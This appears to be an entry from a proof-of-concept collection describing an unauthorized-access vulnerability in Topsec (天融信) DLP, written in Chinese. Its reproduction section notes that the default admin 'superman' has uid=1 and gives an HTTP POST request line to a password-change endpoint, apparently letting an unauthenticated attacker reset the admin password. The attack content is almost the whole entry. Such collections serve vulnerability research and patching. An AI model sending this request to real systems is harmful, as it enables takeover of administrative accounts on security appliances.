Awesome-POC/Web应用漏洞/天融信 DLP 未授权访问漏洞.md
2024-11-06 14:10:36 +08:00

278 B

天融信 DLP 未授权访问漏洞

漏洞描述

天融信DLP存在未授权访问漏洞

漏洞影响

天融信DLP

漏洞复现

POC为

默认用户superman的uid=1
POST /?module-auth_user&action=mod_edit.pwd HTTP/1.1